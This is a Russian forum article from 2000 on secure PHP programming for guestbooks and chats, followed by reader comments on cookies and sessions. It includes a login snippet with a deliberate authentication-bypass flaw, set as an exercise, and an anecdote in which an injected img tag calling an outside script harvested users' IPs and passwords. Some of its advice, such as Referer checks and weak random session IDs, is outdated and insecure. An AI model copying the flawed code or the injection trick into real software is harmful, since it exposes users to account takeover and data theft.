WebScript.Ru
C:\   главная  ::   о сайте  ::  каталог скриптов  ::  гнездо  ::  форум  ::   авторам  :: Новостройки ::   ХОСТИНГ  ::

|| разделы::
|| поиск по сайту::

|| реклама::
|| новости почтой::
Рассылки Subscribe.Ru ::



Новости сайта WebScript.Ru
Популярные статьи

Hot 5 Stories

|| рекомендуем::




Безопасное программирование веб-приложений


Прислал: Scarab [ 14.11.2000 @ 15:34 ]
Раздел:: [ Статьи по PHP ]


Приемы безопасного программирования веб-приложений на PHP.

Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.
Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:


<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^//www.myserver.com)) {
echo "hacker? he-he...n";
exit;
}
?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:

$username=substr($username,0,20);
Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) {
echo "invalid username";
exit;
}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:


if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:


if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=//myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.
Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:


if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***
В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.


$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.
Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:

if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.
Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

  • Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.
  • Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.
Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.
Рассмотрим несколько вариантов, как это можно сделать:
  1. После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).
    Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.
  2. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.
  3. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)
    Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально.
  4. Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.
После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:

mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);
Это число он:
а) заносит в локальный список авторизовавшихся пользователей;
б) Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:

<input type=hidden name=uid value=1234567890>
Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he-he...".

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.
При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.

Best regards,
Илья Басалаев a.k.a. Scarab (scarab@chat.ru">scarab@chat.ru).
P.S. Выражаю глубокую благодарность Козину Максиму (madmax@express.ru">madmax@express.ru) за рецензирование данной статьи и ряд весьма ценных дополнений.


 :::::  Alexey пишет 25.01.2001 @ 09:08 
А как насчет поддерживания сессии с помощью cookies? Напишите, пожалуйста, комментари по этому вопросу, в т.ч. плюсы и минусы использования cookies для аутентификации.

 :::::  Scarab пишет 05.03.2001 @ 12:25 
По поводу cookies могу сказать следующее. Сам я эту технологию маленько недолюбливаю, как минимум - потому что подавляющее большинство пользователей сидят под вендозе, а я не доверяю ничему, что касается вендозе.
В некоторых частных случаях, зависит от проекта в целом, она может применяться, в целом я бы не стал на нее расчитывать.
Я помню, как сравнительно недавно меня, как системного администратора, вызывает в интернет-зал тамошний оператор. Прихожу, и вижу следующее: пользователь не может зайти на mail.ru. То есть - он набирает www.mail.ru, и попадает в чужой ящик. Видимо, того человека, который сидел на этой машине и не разрегистрировался. Перезапуск браузера ничего не дал, пока ручками не полез в cookies.txt и не поубивал там все - так оно и не работало.
Я никоим образом не дискредитирую mail.ru, скорее всего - это была просто ошибка самого пользователя. Но факт есть факт.
Вывод - пока cookies общие, пока они не хранятся у каждого пользователя в homedir, как в юниксовых системах - существует вероятность использования сессии пользователя A пользователем B. Да, путем различных ухищрений типа выставления тайм-аутов можно свести эту вероятность к минимуму - но факт есть факт.
UID - можно передавать и в строке GET. Я обычно делаю именно так.
Но хранить его в cooikes? А если браузер возьми и не сотри по истечении срока? А я от експлодера и не такого могу ожидать :-)
Поэтому мое мнение - иногда можно, даже без особых потерь в секурности, но я так не делаю.
Конкретнее - когда можно, когда нет - надо смотреть проект целиком.

wbr.,
scarab
 :::::  =KRoN= пишет 19.03.2001 @ 17:55 
Оффтопик, но по поводу cookies и mail.ru
Есть более серьёзный у них глюк - у нас несколько фирм ходит через один корпоративный proxy. Так вот, однажды у меня на ICQ всплывает некая девушка и рассказывает, что она регулярно попадает в мой почтовый ящик на mail.ru. После недолгих разбирательств выяснилось, что она работает в нашем здании, ходит через тот же прокси (squid/FreeBSD). Видно где-то там и кешировались куки. Вылечилось переходом с mail.ru на beep.ru (в службе поддержки mail.ru фактически послали, сказав, что это наша проблема)

=KRoN=
http://kron.da.ru
 :::::  Alex пишет 26.03.2001 @ 23:27 
Если вы говорите о хранении cooikes на клиентской машине, то зачем это делать ? а как на счет хранения их в течении сессии. По моему после авторизации их удобно хнанить только на то время пока оно необходимо. т.е пользователь закрывает браузер и после его открытия они не будут установленны, что послужит выводом окна для авторизации. И не будет ни каких проблем с mail.ru :) моему использовании их очень удобно, правда как уже заметили их многие боятся и выключают.
 :::::  Alexander пишет 06.04.2001 @ 22:56 
asd

 :::::  MaxVT пишет 13.04.2001 @ 08:46 
Насчёт cookies. Для всех, у кого куки не там остаются: как вы думаете, кнопки Logout или Выход для чего придуманы? Если программа правильно написана, то после нажатия такой кнопки cookie, даже если он остался у клиента, бесполезен. Я во всех работах использую cookie authentication - и ничего. Только 1-2% юзеров не принимают cookie.
 :::::  Shadow пишет 01.06.2001 @ 07:16 
А как насчет встроенных в PHP функций для создания сессий?
$session_start()
 :::::  Надя пишет 04.06.2001 @ 08:54 
Господа - на мониторе с разрешением 1024*768 то что отображается маленькими очень черными и красивыми( кажется) буквами абсолютно не читаемо!!!
 :::::  Xenomorph пишет 17.06.2001 @ 09:50 
Хмм ... Народ - я согласен с автором что с кукисами работать отстойно, но полностью про них забывать не стоит. 2Shadow - а вот с вами батенька я полностью согласен - работа со встроенными в PHP4 сессиями очень и очень приятна и удобна ...
 :::::  Олег пишет 08.07.2001 @ 01:52 
У меня вопрос: можно ли запретить отправку данных из формы запущенной из другой директории, но с тогоже сервера? Например злоумышленник хоститься на том же сервере. Тогда он может скачать PHP скрипт, подправить его и гнать данные уже из своей формы.
И еще - можно ли получить доступ к скрипту не являясь пользовтелем сервера где он лежит? Один мой знакомый сказал, что впринципе код скрипта получить можно, но только если хакер хоститься там же где и ты, и имеет доступ к PHP. Тогда он пишет небольшой скрипт, который и позволяет ему это осуществить.
 :::::  piroman пишет 16.02.2002 @ 15:01 
Спецально для таких ламеров как я. Правильный код проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com", $referer))
{echo "hacker? he-he.. /n ";
exit;
}
?>

 :::::  USE пишет 12.02.2003 @ 13:37 
Ну не надо так о кукисах, довольно удобно. кроме того, проблемы были с мейл ру видимо потому, что они заходили "со своего компьютера", хотя можно было бы сказать "чужой" и тогда куки хранились бы только на продолжении работы броузера. и куки хранятся для каждого пользователя отдельно например в C:\Documents and Settings\Administrator\Cookies\ или вместо администратора пишется имя пользователя. соответственно они разные. а почему было так что на разных компах заходили на одни и те же странички, так виной всему прокси. такое тоже было...
 :::::  DanchouS пишет 18.05.2003 @ 16:20 
Спасибо piroman!
Я как самый-самый ламер в PHP, долго искал правильное написание этого скрипта!
И нашёл его только тут из сотен разных серверов на которых валяется эта статья.
 :::::   пишет 18.05.2003 @ 17:30 
У меня вот такой вопросик:
Почему у меня не работает вот эта часть скрипта?

if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm='My Realm'");
exit;
}

пишет вот такую вигню!

Warning: Cannot add header information - headers already sent by (output started at ...\index.php:24) in ...\admin.php on line 44
 :::::  Lizardus пишет 20.07.2003 @ 12:32 
>::::: пишет 18.05.2003 @ 17:30
>Почему у меня не работает вот эта часть скрипта?

До этой части скрипта ты выводил клиенту данные в скрипте admin.php в строке 44. И PHP понял, что заголовки ты отправлясть больше не намерен, поэтому успел отправить http-заголовок и дополнений к нему не принимает.
 :::::  SooS пишет 02.08.2003 @ 20:28 
>Почему у меня не работает вот эта часть скрипта?
Объясняю более популярно, ты его в тексте повыше подними ;)

А всё-таки с сессиями по моему надёжне, Через сессии я лайвтаим им реализую в 20 минут и всё ок
 :::::  Satan Klaus пишет 07.04.2004 @ 03:24 
Кукисы отстой, я их не использовал и использовать не буду!
Никогда нельзя доверять данным которые пришли от клиента!
 :::::   пишет 18.04.2004 @ 11:36 

 :::::  антигерой пишет 12.07.2004 @ 09:39 
>Почему у меня не работает вот эта часть скрипта?
>if (mysql_numrows($result) != 1) {
>Header("HTTP/1.0 401 Auth Required");
>Header("WWW-authenticate: basic realm='My Realm'");
>exit;}
>пишет вот такую вигню!
>Warning: Cannot add header information - headers already sent by (output started at ...\index.php:24) >in ...\admin.php on line 44

Это должно быть до отправки тела BODY. Ставь в самом начале скрипта и проблем не будет. В САМОМ - САМОМ начале. Пусть эти функции вызываются первыми. Такая-же ошибка будет с куками. Они должны ставиться тоже в начале, до отправки самого кода странички юзеру.

Могу ещё предложить не писать строку (mailto:) , а сделать через скрипт:
<p align="center"><script>document.write('<a href="mailto:betrayer'); document.write('@yandex.ru"><img src="../images/e-mail.gif" alt="" width="90" height="32"></a>');</script></p>
Мыло режется на две части и собирается уже на компе пользователя. Тег <p></p> обязателен, иначе это будет всё чёрт знает куда пихаться.

Тогда уродские роботы уродов спамеров не найдут в коде вашей странички eMail и обломаются. Спам приходить не будет, если сами своё мыло не просохатите где-нибудь в другом месте.

Также можно написать простенький скрипт по ссылочке, который будет генерить для тех-же роботов поток рандомных eMail`ов и ткнуть небольшую задержку в виде sleep(0,1) Если вам траффик критичен.
 :::::   пишет 17.02.2005 @ 18:54 
3
Имя:
Email:
URL

Введите сумму двух чисел девять и одинн (девять+одинн=?)
Запомнить мою информацию

* Html запрещен* Ваш E-mail опубликован не будет.

Copyright © 2000-2001 WebScript.Ru nas@webscript.ru
Design © 2001 by Parallax Design Studio (aka Spectator.ru)
Все торговые марки и авторские права на эту страницу принадлежат их соответствующим владельцам.
Сгенерировано за: 0.0312579